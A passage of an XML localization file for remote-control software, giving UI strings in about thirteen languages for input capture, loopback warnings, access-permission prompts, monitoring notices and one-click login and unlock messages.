<en>All keyboard and mouse input is sent to the host. Move the mouse outside this window or press CTRL-ALT to release.</en>
<de>Alle Tastatur- und Mauseingaben werden an den Host gesendet. Bewegen Sie die Maus aus diesem Fenster heraus oder drücken Sie Strg+Alt, um die Tastaturfernsteuerung zu beenden.</de>
<es>Todas las entradas de teclado y ratón se envían al host. Mueva el ratón fuera de esta ventana o pulse CTRL-ALT si no desea que esto ocurra.</es>
<fr>Toute saisie au clavier et à la souris est envoyée vers l'hôte. Sortez la souris de cette fenêtre ou appuyez sur CTRL-ALT pour libérer.</fr>
<it>Tutte le azioni della tastiera e del mouse hanno effetto sull'host. Spostare il mouse fuori da questa finestra o premere CTRL-ALT per interrompere l'effetto.</it>
<ru>Все команды, введенные с клавиатуры и с помощью мыши, отправляются на хост. Переместите указатель мыши за пределы этого окна или нажмите сочетание клавиш «CTRL» + «ALT», чтобы освободить клавиатуру и мышь.</ru>
<ja>キーボードとマウスの入力はすべてホスト コンピュータに送られます。 解除するには、このウィンドウの外へマウスを移動するか、Ctrl+Alt キーを押します。</ja>
<zh>所有键盘和鼠标输入都将发送到主机。 将鼠标光标移出此窗口或按 CTRL-ALT 释放。</zh>
<ko>모든 키보드 및 마우스 입력이 호스트로 전송됩니다. 해제하려면 이 창 밖으로 마우스를 움직이거나 Ctrl-Alt를 누르십시오.</ko>
<en-gb>All keyboard and mouse input is sent to the host. Move the mouse outside this window or press CTRL-ALT to release.</en-gb>
<hu>A program minden billentyűzet- és egérbevitelt elküld a gazdaszámítógépnek. A feloldáshoz mozgassa az egeret az ablakon kívülre, vagy nyomja meg a CTRL+ALT billentyűkombinációt.</hu>
<pt-br>Todas as entradas do teclado e do mouse são enviadas para o host. Mova o mouse para fora desta janela ou pressione CTRL-ALT para interromper o controle do teclado do computador remoto.</pt-br>
<nl>Alle invoergegevens van toetsenbord en muis worden naar de host gestuurd. Beweeg de muis buiten dit venster of druk op CTRL-ALT voor vrijgave.</nl>
</msg>
<msg name="INPUTCAPTURED.MOUSE">
<en>All mouse input is sent to the host. Move the mouse outside this window or press CTRL-ALT to release.</en>
<de>Alle Mauseingaben werden an den Host gesendet. Bewegen Sie die Maus außerhalb dieses Fensters oder drücken Sie zum Freigeben der Maus STRG+ALT.</de>
<es>Todas las entradas de ratón se envían al host. Mueva el ratón fuera de esta ventana o pulse CTRL-ALT si no desea que esto ocurra.</es>
<fr>Tous les mouvements de souris sont envoyés à l’hôte. Sortez le pointeur de cette fenêtre ou appuyez sur Ctrl-Alt pour revenir à l’ordinateur local.</fr>
<it>Tutti gli input del mouse vengono inviati all’host. Spostare il mouse fuori da questa finestra o premere CTRL-ALT per interrompere l’effetto.</it>
<ru>Все команды, введенные с помощью мыши, отправляются на хост. Переместите указатель мыши за пределы этого окна или нажмите сочетание клавиш CTRL + ALT, чтобы освободить клавиатуру и мышь.</ru>
<ja>マウスの入力はすべてホスト コンピュータに送られます。 解除するには、このウィンドウの外へマウスを移動するか、Ctrl+Alt キーを押します。</ja>
<zh>所有鼠标输入均已发送至主机。将鼠标移出窗口或按 CTRL-ALT 以解除控制。</zh>
<ko>모든 마우스 입력이 호스트에 전송됩니다. 해제하려면 창 밖으로 마우스 커서를 움직이거나 Ctrl+Alt를 누르십시오.</ko>
<en-gb>All mouse input is sent to the host. Move the mouse outside this window or press CTRL-ALT to release.</en-gb>
<hu>A program minden egérbevitelt elküld a gazdaszámítógépnek. A feloldáshoz mozgassa az egeret az ablakon kívülre, vagy nyomja meg a CTRL+ALT billentyűkombinációt.</hu>
<pt-br>Todas as ações do mouse são enviadas para o host. Mova o mouse para fora desta janela ou pressione CTRL-ALT para soltar.</pt-br>
<nl>lle invoergegevens van de muis worden naar de host gestuurd. Beweeg de muis buiten dit venster of druk op CTRL-ALT voor vrijgave.</nl>
</msg>
<msg name="INPUTCAPTURED.MAC">
<en>All keyboard and mouse input is sent to the host. Move the mouse outside this window to release.</en>
<de>Alle Tastatur- und Mauseingaben werden an den Host gesendet. Bewegen Sie die Maus aus diesem Fenster heraus, um die Tastaturfernsteuerung zu beenden.</de>
<es>Todas las entradas de teclado y ratón se envían al host. Mueva el ratón fuera de esta ventana si no desea que esto ocurra.</es>
<fr>Toute saisie au clavier et à la souris est envoyée vers l'hôte. Sortez la souris de cette fenêtre pour libérer.</fr>
<it>Tutte le azioni della tastiera e del mouse hanno effetto sull'host. Spostare il mouse fuori da questa finestra per interrompere l'effetto.</it>
<ru>Все команды, введенные с клавиатуры и с помощью мыши, отправляются на хост. Переместите указатель мыши за пределы этого окна, чтобы освободить клавиатуру и мышь.</ru>
<ja>キーボードとマウスの入力はすべてホスト コンピュータに送られます。 解除するには、このウィンドウの外へマウスを移動します。</ja>
<zh>所有键盘和鼠标输入都将发送到主机。 将鼠标光标移出此窗口以释放。</zh>
<ko>모든 키보드 및 마우스 입력이 호스트로 전송됩니다. 해제하려면 이 창 밖으로 마우스를 움직이십시오.</ko>
<en-gb>All keyboard and mouse input is sent to the host. Move the mouse outside this window to release.</en-gb>
<hu>A program minden billentyűzet- és egérbevitelt elküld a gazdaszámítógépnek. A feloldáshoz mozgassa az egeret az ablakon kívülre.</hu>
<pt-br>Todas as entradas do teclado e do mouse são enviadas para o host. Mova o mouse para fora desta janela para soltar.</pt-br>
<nl>Alle invoergegevens van toetsenbord en muis worden naar de host gestuurd. Beweeg de muis buiten dit venster om vrij te geven.</nl>
</msg>
<msg name="INPUTCAPTURED.MAC.MOUSE">
<en>All mouse input is sent to the host. Move the mouse outside this window to release.</en>
<de>Alle Mauseingaben werden an den Host gesendet. Bewegen Sie die Maus außerhalb dieses Fensters, um sie freizugeben.</de>
<es>Todas las entradas de ratón se envían al host. Mueva el ratón fuera de esta ventana si no desea que esto ocurra.</es>
<fr>Tous les mouvements de souris sont envoyés à l’hôte. Sortez le pointeur de cette fenêtre pour revenir à l’ordinateur local.</fr>
<it>Tutti gli input del mouse vengono inviati all’host. Spostare il mouse fuori da questa finestra per interrompere l’effetto.</it>
<ru>Все команды, введенные с помощью мыши, отправляются на хост. Переместите указатель мыши за пределы этого окна, чтобы освободить клавиатуру и мышь.</ru>
<ja>入力はすべてホスト コンピュータに送られます。 解除するには、このウィンドウの外へマウスを移動します。</ja>
<zh>所有鼠标输入均已发送至主机。将鼠标移出窗口以解除控制。</zh>
<ko>모든 마우스 입력이 호스트에 전송됩니다. 해제하려면 창 밖으로 마우스 커서를 움직이십시오.</ko>
<en-gb>All mouse input is sent to the host. Move the mouse outside this window to release.</en-gb>
<hu>A program minden egérbevitelt elküld a gazdaszámítógépnek. A feloldáshoz mozgassa az egeret az ablakon kívülre.</hu>
<pt-br>Todas as ações do mouse são enviadas para o host. Mova o mouse para fora desta janela para soltar.</pt-br>
<nl>Alle invoergegevens van de muis worden naar de host gestuurd. Beweeg de muis buiten dit venster voor vrijgave.</nl>
</msg>
<msg name="CLICKTOCAPTURE">
<en>Remote control (Click inside the window to lock keyboard input)</en>
<de>Fernsteuerung (zum Aktivieren der Tastaturfernsteuerung in das Fenster klicken)</de>
<es>Control remoto (haga clic dentro de la ventana para bloquear la entrada de teclado)</es>
<fr>Contrôle à distance (cliquer dans la fenêtre pour verrouiller la saisie au clavier)</fr>
<it>Controllo remoto (Fare clic nella finestra perché le azioni della tastiera abbiano effetto sul computer remoto)</it>
<ru>Удаленное управление (щелкните внутри окна, чтобы перевести клавиатурный ввод на хост)</ru>
<ja>リモート制御 (キーボード入力をロックするにはウィンドウ内をクリックします)</ja>
<zh>远程控制(单击窗口以锁定键盘输入)</zh>
<ko>원격 제어(키보드 입력을 잠그려면 창 안에서 아무 곳이나 클릭)</ko>
<en-gb>Remote control (Click inside the window to lock keyboard input)</en-gb>
<hu>Távvezérlés (Az ablakon belülre kattintva aktiválhatja a billentyűzetről történő adatbevitelt)</hu>
<pt-br>Controle remoto (Clique dentro da janela para bloquear a entrada do teclado)</pt-br>
<nl>Besturing op afstand (klik binnen het venster om invoer via toetsenbord te vergrendelen)</nl>
</msg>
<msg name="TITLEVIEWONLY">
<en>Monitor Host Screen</en>
<de>Host-Bildschirmüberwachung</de>
<es>Controlar pantalla del host</es>
<fr>Surveiller l'écran de l'hôte</fr>
<it>Monitora schermo host</it>
<ru>Мониторинг экрана хоста</ru>
<ja>ホスト画面を監視</ja>
<zh>监视主机屏幕</zh>
<ko>호스트 화면 모니터</ko>
<en-gb>Monitor Host Screen</en-gb>
<hu>Gazdagép képernyőfigyelése</hu>
<pt-br>Monitorar tela do host</pt-br>
<nl>Scherm van hostcomputer controleren</nl>
</msg>
<msg name="LOOPBACKDISALLOWED">
<en>You cannot remote control the computer you're sitting at. You will be able to use this feature when accessing this machine from another PC.</en>
<fr>Vous ne pouvez pas contrôler à distance l’ordinateur derrière lequel vous êtes.Vous ne pourrez le faire qu’à partir d’un autre ordinateur.</fr>
<es>No puede controlar remotamente el ordenador en el que se encuentra. Podrá utilizar esta función cuando acceda a este ordenador desde otro distinto.</es>
<de>Sie können den Computer, vor dem Sie gerade sitzen, nicht per Fernzugriff steuern.Diese Funktion ist nur verfügbar, wenn Sie von einem anderen Computer aus auf diesen Computer zugreifen.</de>
<it>Non è possibile controllare in remoto il computer in uso. Questa funzione è disponibile solo se si accede al computer da un altro computer.</it>
<nl> U kunt de computer waarmee u nu werkt niet op afstand besturen. U kunt deze functie gebruiken wanneer u vanaf een andere computer toegang krijgt tot dit systeem.</nl>
<pt-br>Não é possível controlar remotamente o computador em que está trabalhando fisicamente. Você poderá usar este recurso quando acessar esta máquina de outro computador.</pt-br>
<zh>您无法远程控制您面前的计算机。从另一台计算机访问此计算机时,您可以使用该功能。</zh>
<ru>Вы не можете удаленно управлять компьютером, за которым работаете.Эту функцию можно использовать при доступе к данному компьютеру с другого компьютера.</ru>
<ja>直接操作しているコンピュータをリモート制御することはできません。 別のコンピュータからこのコンピュータにアクセスしている場合は、この機能を使用できます。 </ja>
<ko>앞에 있는 컴퓨터를 원격 제어할 수 없습니다. 다른 컴퓨터에서 이 컴퓨터에 액세스할 때 이 기능을 사용할 수 있습니다.</ko>
<hu>Nem távvezérelheti azt a gépet, amelyik előtt ül. Csak akkor használhatja ezt a funkciót, ha a gépet egy másik számítógépről éri el.</hu>
<en-gb>You cannot remote control the computer you're sitting at. You will be able to use this feature when accessing this machine from another PC.</en-gb>
</msg>
<msg os="macosx" name="LOOPBACKDISALLOWED">
<en>You cannot remote control the computer you're sitting at. You will be able to
use this feature when accessing this machine from another computer.</en>
<fr>Vous ne pouvez pas contrôler à distance l’ordinateur derrière lequel vous êtes.Vous ne pourrez le faire qu’à partir d’un autre ordinateur.</fr>
<es>No puede controlar remotamente el ordenador en el que se encuentra. Podrá utilizar esta función cuando acceda a este ordenador desde otro distinto.</es>
<de>Sie können den Computer, vor dem Sie gerade sitzen, nicht per Fernzugriff steuern.Diese Funktion ist nur verfügbar, wenn Sie von einem anderen Computer aus auf diesen Computer zugreifen.</de>
<it>Non è possibile controllare in remoto il computer in uso. Questa funzione è disponibile solo se si accede al computer da un altro computer.</it>
<nl> U kunt de computer waarmee u nu werkt niet op afstand besturen. U kunt deze functie gebruiken wanneer u vanaf een andere computer toegang krijgt tot dit systeem.</nl>
<pt-br>Não é possível controlar remotamente o computador em que está trabalhando fisicamente. Você poderá usar este recurso quando acessar esta máquina de outro computador.</pt-br>
<zh>您无法远程控制您面前的计算机。从另一台计算机访问此计算机时,您可以使用该功能。</zh>
<ru>Вы не можете удаленно управлять компьютером, за которым работаете.Эту функцию можно использовать при доступе к данному компьютеру с другого компьютера.</ru>
<ja>直接操作しているコンピュータをリモート制御することはできません。 別のコンピュータからこのコンピュータにアクセスしている場合は、この機能を使用できます。 </ja>
<ko>앞에 있는 컴퓨터를 원격 제어할 수 없습니다. 다른 컴퓨터에서 이 컴퓨터에 액세스할 때 이 기능을 사용할 수 있습니다.</ko>
<hu>Nem távvezérelheti azt a gépet, amelyik előtt ül. Csak akkor használhatja ezt a funkciót, ha a gépet egy másik számítógépről éri el.</hu>
<en-gb>You cannot remote control the computer you're sitting at. You will be able to use this feature when accessing this machine from another PC.</en-gb>
</msg>
<msg brand="LMI" name="LOOPBACKDISALLOWED">
<en>You are attempting to remote control the computer at which you are sitting.</en>
<fr>Vous tentez de contrôler à distance l'ordinateur que vous utilisez actuellement.</fr>
<es>Está intentando controlar remotamente el ordenador en el que se encuentra.</es>
<de>Sie versuchen, den Computer, vor dem Sie gerade sitzen, per Fernzugriff zu steuern.</de>
<it>Si sta tentando di controllare in remoto il computer in uso.</it>
<nl>U probeert de computer waarmee u nu werkt op afstand te besturen.</nl>
<pt-br>Você está tentando controlar remotamente o computador em que está trabalhando fisicamente.</pt-br>
<zh>您尝试远程控制您面前的计算机。</zh>
<ru>Вы пытаетесь удаленно управлять компьютером, за которым работаете.</ru>
<ja>直接操作しているコンピュータをリモート制御しようとしています。</ja>
<ko>앞에 있는 컴퓨터를 원격 제어할 수 없습니다. 다른 컴퓨터에서 이 컴퓨터에 액세스할 때 이 기능을 사용할 수 있습니다.</ko>
<hu>Ugyanazt a számítógépet kísérelte meg távvezérelni, amelyik előtt ül.</hu>
<en-gb>You cannot remote control the computer you're sitting at. You will be able to use this feature when accessing this machine from another computer.</en-gb>
</msg>
<msg brand="LMI" os="macosx" name="LOOPBACKDISALLOWED">
<en>You are attempting to remote control the same computer you are sitting at.</en>
<fr>Vous tentez de contrôler à distance l'ordinateur que vous utilisez actuellement.</fr>
<es>Está intentando controlar remotamente el ordenador en el que se encuentra.</es>
<de>Sie versuchen, den Computer, vor dem Sie gerade sitzen, per Fernzugriff zu steuern.</de>
<it>Si sta tentando di controllare in remoto il computer in uso.</it>
<nl>U probeert de computer waarmee u nu werkt op afstand te besturen.</nl>
<pt-br>Você está tentando controlar remotamente o computador em que está trabalhando fisicamente.</pt-br>
<zh>您尝试远程控制您面前的计算机。</zh>
<ru>Вы пытаетесь удаленно управлять компьютером, за которым работаете.</ru>
<ja>直接操作しているコンピュータをリモート制御しようとしています。</ja>
<ko>앞에 있는 컴퓨터를 원격 제어할 수 없습니다. 다른 컴퓨터에서 이 컴퓨터에 액세스할 때 이 기능을 사용할 수 있습니다.</ko>
<hu>Ugyanazt a számítógépet kísérelte meg távvezérelni, amelyik előtt ül.</hu>
<en-gb>You cannot remote control the computer you're sitting at. You will be able to use this feature when accessing this machine from another computer.</en-gb>
</msg>
<msg brand="LMI" name="LOOPBACKDISALLOWED.MON">
<en>You are attempting to monitor the same computer you are sitting at.</en>
<fr>Vous essayez de lancer la surveillance de l'ordinateur que vous utilisez actuellement.</fr>
<es>Está intentando controlar el mismo ordenador que está utilizando físicamente.</es>
<de>Sie versuchen, den Computer zu überwachen, vor dem Sie gerade sitzen.</de>
<it>Si sta tentando di monitorare il computer in uso.</it>
<nl>U probeert de computer waarmee u nu werkt op afstand te controleren.</nl>
<pt-br>Você está tentando monitorar o mesmo computador em que está trabalhando fisicamente.</pt-br>
<zh>您尝试监视您面前的同一台计算机。</zh>
<ru>Вы пытаетесь наблюдать за тем же компьютером, за которым вы работаете.</ru>
<ja>直接操作しているコンピュータを監視しようとしています。</ja>
<ko>앞에 있는 동일한 컴퓨터를 모니터하려고 합니다.</ko>
<hu>Ugyanazt a számítógépet kísérelte meg figyelni, amelyik előtt ül.</hu>
<en-gb>You are attempting to monitor the same computer you are sitting at.</en-gb>
</msg>
<msg brand="LMI" os="macosx" name="LOOPBACKDISALLOWED.MON">
<en>You are attempting to monitor the same computer you are sitting at.</en>
<fr>Vous essayez de lancer la surveillance de l'ordinateur que vous utilisez actuellement.</fr>
<es>Está intentando controlar el mismo ordenador que está utilizando físicamente.</es>
<de>Sie versuchen, den Computer zu überwachen, vor dem Sie gerade sitzen.</de>
<it>Si sta tentando di monitorare il computer in uso.</it>
<nl>U probeert de computer waarmee u nu werkt op afstand te controleren.</nl>
<pt-br>Você está tentando monitorar o mesmo computador em que está trabalhando fisicamente.</pt-br>
<zh>您尝试监视您面前的同一台计算机。</zh>
<ru>Вы пытаетесь наблюдать за тем же компьютером, за которым вы работаете.</ru>
<ja>直接操作しているコンピュータを監視しようとしています。</ja>
<ko>앞에 있는 동일한 컴퓨터를 모니터하려고 합니다.</ko>
<hu>Ugyanazt a számítógépet kísérelte meg figyelni, amelyik előtt ül.</hu>
<en-gb>You are attempting to monitor the same computer you are sitting at.</en-gb>
</msg>
<msg name="RCEDUCATIONFORCELOOPBACK">
<en>Remote Control this computer anyway</en>
<fr>Prendre le contrôle de cet ordinateur malgré tout</fr>
<es>Contralar remotamente este ordenador de todas formas</es>
<de>Diesen Computer trotzdem per Fernzugriff steuern</de>
<it>Controlla comunque questo computer in remoto</it>
<nl>Deze computer toch op afstand besturen</nl>
<pt-br>Controlar este computador remotamente de qualquer forma</pt-br>
<zh>无论如何都要远程控制此计算机</zh>
<ru>Принудительное удаленное управление данным компьютером</ru>
<ja>このコンピュータのリモート制御を強行する</ja>
<ko>이 컴퓨터 원격 제어</ko>
<hu>Mindenképpen távvezérelni kívánom ezt a számítógépet</hu>
<en-gb>Remote Control this computer anyway</en-gb>
</msg>
<msg os="macosx" name="RCEDUCATIONFORCELOOPBACK">
<en>Remote Control this computer anyway</en>
<fr>Prendre le contrôle de cet ordinateur malgré tout</fr>
<es>Contralar remotamente este ordenador de todas formas</es>
<de>Diesen Computer trotzdem per Fernzugriff steuern</de>
<it>Controlla comunque questo computer in remoto</it>
<nl>Deze computer toch op afstand besturen</nl>
<pt-br>Controlar este computador remotamente de qualquer forma</pt-br>
<zh>无论如何都要远程控制此计算机</zh>
<ru>Принудительное удаленное управление данным компьютером</ru>
<ja>このコンピュータのリモート制御を強行する</ja>
<ko>이 컴퓨터 원격 제어</ko>
<hu>Mindenképpen távvezérelni kívánom ezt a számítógépet</hu>
<en-gb>Remote Control this computer anyway</en-gb>
</msg>
<msg name="RCEDUCATIONFORCELOOPBACK.MON">
<en>Monitor this host screen anyway</en>
<es>De todos modos controle esta pantalla de host</es>
<fr>Surveiller l'écran hôte distant à tout prix</fr>
<de>Dieses Hostfenster überwachen</de>
<it>Forza controllo dello schermo host</it>
<ru>Принудительный мониторинг экрана данного хост-компьютера</ru>
<ja>このホスト画面の監視を強行する</ja>
<zh>无论如何都要监视此主机屏幕</zh>
<ko>이 호스트 화면 모니터</ko>
<en-gb>Monitor this host screen anyway</en-gb>
<hu>Mindenképpen figyelje ezt a gazdagép-képernyőt</hu>
<pt-br>Monitorar a tela deste host de qualquer forma</pt-br>
<nl>Het scherm van deze hostcomputer toch controleren</nl>
</msg>
<msg name="PERMISSIONTEXT">
<en>User %USER% is about to take control over your computer. Access will
automatically be granted unless you specify otherwise.</en>
<de>Der Benutzer %USER% möchte die Kontrolle über Ihren Computer übernehmen.
Der Zugriff wird automatisch erteilt, wenn Sie ihn nicht innerhalb der
gesetzten Frist untersagen.</de>
<es>El usuario %USER% va a tomar control de su ordenador. El acceso
se realizará automáticamente a menos que indique lo contrario.</es>
<fr>L'utilisateur %USER% est sur le point de prendre le contrôle de votre ordinateur. L'accès sera autorisé automatiquement à moins que vous en décidiez autrement.</fr>
<it>L'utente %USER% sta per prendere il controllo del computer. L'accesso verrà consentito in modo automatico se non specificato diversamente.</it>
<ru>Пользователь %USER% почти взял под контроль ваш компьютер. Доступ будет предоставлен автоматически, если вы не укажете противное.</ru>
<ja>ユーザ %USER% がこのコンピュータを制御しようとしています。これに対処する指定をしない限り、自動的にアクセス許可が付与されます。</ja>
<zh>用户 %USER% 将控制您的计算机。除非您另有规定,否则系统将自动批准访问。</zh>
<ko>%USER% 사용자가 사용자의 컴퓨터를 제어하려고 합니다. 다르게 지정하지 않으면 자동으로 액세스 권한이 부여됩니다.</ko>
<en-gb>User %USER% is about to take control of your computer. Access will automatically be granted unless you specify otherwise.</en-gb>
<hu>A(z) %USER% felhasználó át készül venni az Ön számítógépének a vezérlését. A hozzáférést
automatikusan meg fogja kapni, kivéve, ha Ön másként adja meg.</hu>
<pt-br>O usuário %USER% está prestes a assumir o controle do seu computador. O acesso será
automaticamente cedido, a menos que você especifique o contrário.</pt-br>
<nl>De gebruiker %USER% zal nu de besturing van uw computer overnemen. De gebruiker krijgt automatisch toegang tenzij u dit weigert.</nl>
</msg>
<msg name="PERMISSIONTEXT2">
<en>User %USER% is about to take control over your computer. Access will automatically be denied unless you specify otherwise.</en>
<de>Benutzer %USER% möchte die Steuerung Ihres Computers übernehmen. Der Zugriff wird automatisch verweigert, sofern Sie nicht etwas anderes festlegen.</de>
<es>El usuario %USER% está a punto de tomar el control de su ordenador. El acceso se denegará automáticamente a menos que usted conceda permiso explícitamente.</es>
<fr>L’utilisateur %USER% est sur le point de prendre le contrôle de votre ordinateur. L’accès sera refusé automatiquement sauf avis contraire de votre part.</fr>
<it>L'utente %USER% sta per assumere il controllo del tuo computer. Se non specifichi diversamente, l'accesso sarà negato in modo automatico.</it>
<ru>Пользователь %USER% собирается взять на себя управление вашим компьютером. В доступе будет автоматически отказано, если вы не разрешите его.</ru>
<ja>このコンピューターをユーザー %USER% がコントロールしようとしています。特に指定がなければ、アクセスが自動的に拒否されます。</ja>
<zh>用户 %USER% 即将接管您的计算机。除非您另行指定,访问会被自动拒绝。</zh>
<ko>%USER% 사용자가 귀하의 컴퓨터를 제어하려고 합니다. 달리 지정하지 않으면 액세스가 자동으로 거부됩니다.</ko>
<en-gb>User %USER% is about to take control over your computer. Access will automatically be denied unless you specify otherwise.</en-gb>
<hu>%USER% felhasználó át készül venni az irányítást az Ön számítógépe felett. A rendszer automatikusan megtagadja a hozzáférést, kivéve, ha Ön megadja.</hu>
<pt-br>O usuário %USER% assumirá o controle do seu computador. O acesso será recusado automaticamente, a menos que você conceda permissão.</pt-br>
<nl>De gebruiker %USER% staat op het punt om de besturing over je computer over te nemen. Toegang wordt automatisch geweigerd, tenzij je specifiek toestemming geeft.</nl>
</msg>
<msg name="ALLMONITORS">
<en>All Monitors</en>
<es>Todos los monitores</es>
<fr>Tout les moniteurs</fr>
<de>Alle Monitore</de>
<it>Tutti i monitor</it>
<ru>Все мониторы</ru>
<ja>すべてのモニタ</ja>
<zh>所有显示器</zh>
<ko>모든 모니터</ko>
<en-gb>All Monitors</en-gb>
<hu>Minden monitor</hu>
<pt-br>Todos os monitores</pt-br>
<nl>Alle beeldschermen</nl>
</msg>
<msg name="RCNOTIFICATION.TITLE">
<en>Remote Session</en>
<es>Sesión remota</es>
<de>Fernsitzung</de>
<fr>Session à distance</fr>
<it>Sessione remota</it>
<ru>Удаленный сеанс</ru>
<ja>リモート セッション</ja>
<zh>远程会话</zh>
<ko>원격 세션</ko>
<hu>Távelérési munkamenet</hu>
<pt-br>Sessão remota</pt-br>
<nl>Externe sessie</nl>
<en-gb>Remote Session</en-gb>
</msg>
<msg name="RCMONITORNOTICE">
<en>This computer is being monitored by %USER% from %ADDRESS%.</en>
<de>Der Computer wird von %USER% über %ADDRESS% überwacht.</de>
<es>Este ordenador está siendo controlado por %USER% from %ADDRESS%.</es>
<fr>Cet ordinateur est actuelement surveillé par %USER% depuis %ADDRESS%.</fr>
<it>Questo computer è monitorato dall'utente %USER% da %ADDRESS%.</it>
<ru>Данный компьютер наблюдается пользователем %USER% из %ADDRESS%.</ru>
<ja>このコンピュータは %USER% により %ADDRESS% から監視されようとしています。</ja>
<zh>%USER% 正从 %ADDRESS% 监视此计算机。</zh>
<ko>이 컴퓨터는 %ADDRESS%의 %USER%에 의해 모니터되고 있습니다.</ko>
<en-gb>This computer is being monitored by %USER% from %ADDRESS%.</en-gb>
<hu>Ezt a számítógépet a(z) %USER% felhasználó figyeli a(z) %ADDRESS% címről.</hu>
<pt-br>Este computador está sendo monitorado pelo %USER% de %ADDRESS%.</pt-br>
<nl>Deze computer wordt gecontroleerd door %USER% vanaf %ADDRESS%.</nl>
</msg>
<msg name="RCNOTIFICATION">
<en>This computer is being remote controlled by %USER% from %ADDRESS%.</en>
<de>Der Computer wird von %USER% über %ADDRESS% ferngesteuert.</de>
<es>Este ordenador está siendo controlado de forma remota por %USER% from %ADDRESS%.</es>
<fr>Cet ordinateur est contrôlé à distance par %USER% de %ADDRESS%.</fr>
<it>Questo computer è controllato in remoto dall'utente %USER% da %ADDRESS%.</it>
<ru>Данный компьютер удаленного управляется пользователем %USER% из %ADDRESS%.</ru>
<ja>このコンピュータは %USER% により %ADDRESS% からリモート制御されようとしています。</ja>
<zh>%USER% 正从 %ADDRESS% 远程控制此计算机。</zh>
<ko>이 컴퓨터는 %ADDRESS%의 %USER%에 의해 원격 제어되고 있습니다.</ko>
<en-gb>This computer is being remote controlled by %USER% from %ADDRESS%.</en-gb>
<hu>Ezt a számítógépet a(z) %USER% felhasználó távvezérli a(z) %ADDRESS% címről.</hu>
<pt-br>Este computador está sendo controlado pelo %USER% de %ADDRESS%.</pt-br>
<nl>Deze computer wordt op afstand bestuurd door %USER% vanaf %ADDRESS%.</nl>
</msg>
<msg name="RCSUSPENDNOTIFICATION">
<en>Remote control by %USER% from %ADDRESS% has been paused.</en>
<de>Die Fernsteuerung durch %USER% von %ADDRESS% wurde angehalten.</de>
<es>%USER% ha pausado el control remoto desde %ADDRESS%.</es>
<fr>Le contrôle à distance de %ADDRESS% par %USER% a été suspendu.</fr>
<it>Il controllo remoto da parte di %USER% da %ADDRESS% è stata messa in pausa.</it>
<ru>Удаленное управление с адреса %ADDRESS% пользователем %USER% приостановлено.</ru>
<ja>%USER% (%ADDRESS%) によるリモート制御が一時停止されました。</ja>
<zh>%USER% 从 %ADDRESS% 发起的远程控制已暂停。</zh>
<ko>%ADDRESS%의 %USER%에 의한 원격 제어가 일시 중지되었습니다.</ko>
<en-gb>Remote control by %USER% from %ADDRESS% has been paused.</en-gb>
<hu>A %USER% által %ADDRESS% címről végzett távvezérlés szünetel.</hu>
<pt-br>O controle remoto do usuário %USER% de %ADDRESS% foi pausado.</pt-br>
<nl>Besturing op afstand door %USER% vanaf %ADDRESS% is gepauzeerd.</nl>
</msg>
<msg name="ONECLICK.LOGIN.TEXT">
<en>%PRODUCTNAME can initiate a login to account %USER% without you having to type in a password.</en>
<es>%PRODUCTNAME puede iniciar un inicio de sesión en la cuenta %USER% sin necesidad de escribir una contraseña.</es>
<de>%PRODUCTNAME kann sich beim Konto %USER% ohne Kennworteingabe anmelden.</de>
<fr>%PRODUCTNAME peut lancer une connexion au compte %USER% sans avoir à entrer le mot de passe.</fr>
<it>%PRODUCTNAME può avviare l'accesso all'account %USER% senza richiedere l'immissione di una password.</it>
<ru>%PRODUCTNAME может инициировать сеанс в контексте учетной записи %USER% без необходимости введения пароля.</ru>
<ja>%PRODUCTNAME は、パスワード入力を必要とせずに、ログインを起動して %USER% をアカウントすることができます。</ja>
<zh>%PRODUCTNAME 可以启动到帐户 %USER% 的登录,而不需要您键入密码。</zh>
<ko>%PRODUCTNAME은(는) 암호를 입력하지 않고 %USER% 계정에 대한 로그인을 시작할 수 있습니다.</ko>
<en-gb>%PRODUCTNAME can initiate a login to account %USER% without you having to type in a password.</en-gb>
<hu>A %PRODUCTNAME bejelentkezést kezdeményezhet a(z) %USER% felhasználói fiókba, anélkül, hogy Önnek jelszót kellene beírnia.</hu>
<pt-br>O %PRODUCTNAME pode iniciar um login na conta do %USER% sem a necessidade de uma senha.</pt-br>
<nl>%PRODUCTNAME kan een aanmeldingsproces bij de account %USER% starten zonder dat u een wachtwoord moet invoeren.</nl>
</msg>
<msg name="ONECLICK.LOGIN.BUTTON">
<en>Login</en>
<de>Anmelden</de>
<es>Registro</es>
<fr>Connexion</fr>
<it>Accedi</it>
<ru>Вход</ru>
<ja>ログイン</ja>
<zh>登录</zh>
<ko>로그인</ko>
<en-gb>Login</en-gb>
<hu>Bejelentkezés</hu>
<pt-br>Login</pt-br>
<nl>Aanmelden</nl>
</msg>
<msg name="ONECLICK.UNLOCK.TEXT">
<en>%PRODUCTNAME can unlock this computer using credentials for %USER% without you having to type in a password.</en>
<es>%PRODUCTNAME puede desbloquear este ordenador utilizando credenciales para %USER% sin tener que escribir una contraseña.</es>
<de>%PRODUCTNAME kann diesen Computer über die Anmeldeinformationen für %USER% ohne Kennworteingabe freigeben.</de>
<fr>%PRODUCTNAME peut déverrouiller cet ordinateur à l'aide des données d'identification correspondant à %USER% sans avoir à entrer le mot de passe.</fr>
<it>%PRODUCTNAME può sbloccare il computer utilizzando le credenziali per %USER% senza richiedere l'immissione di una password.</it>
<ru>%PRODUCTNAME может разблокировать данный компьютер, используя учетные данные пользователя %USER%, без необходимости введения пароля.</ru>
<ja>%PRODUCTNAME は、パスワード入力を必要とせずに、%USER% に与えられた資格情報を使用して、このコンピュータのロックを解除することができます。</ja>
<zh>%PRODUCTNAME 可以使用 %USER% 的证书解除此计算机的锁定,而不需要您键入密码。</zh>
<ko>%PRODUCTNAME은(는) 암호를 입력하지 않고 %USER%에 대한 자격 증명을 사용하여 이 컴퓨터 잠금을 해제할 수 있습니다.</ko>
<en-gb>%PRODUCTNAME can unlock this computer using credentials for %USER% without you having to type in a password.</en-gb>
<hu>A %PRODUCTNAME a(z) %USER% hitelesítő adatainak segítségével feloldhatja ennek a számítógépnek a zárolását, anélkül, hogy Önnek jelszót kellene beírnia.</hu>
<pt-br>O %PRODUCTNAME pode desbloquear este computador usando credenciais para %USER% sem a necessidade de uma senha.</pt-br>
<nl>%PRODUCTNAME kan deze computer ontgrendelen met de aanmeldingsgegevens voor %USER% zonder dat u een wachtwoord moet invoeren.</nl>
</msg>
<msg name="ONECLICK.UNLOCK.BUTTON">
<en>Unlock</en>
<de>Entsperren</de>
<es>Desbloquear</es>
<fr>Débloquer</fr>
<it>Sblocca</it>
<ru>Разблокировать</ru>
<ja>ロック解除</ja>
<zh>解除锁定</zh>
<ko>잠금 해제</ko>
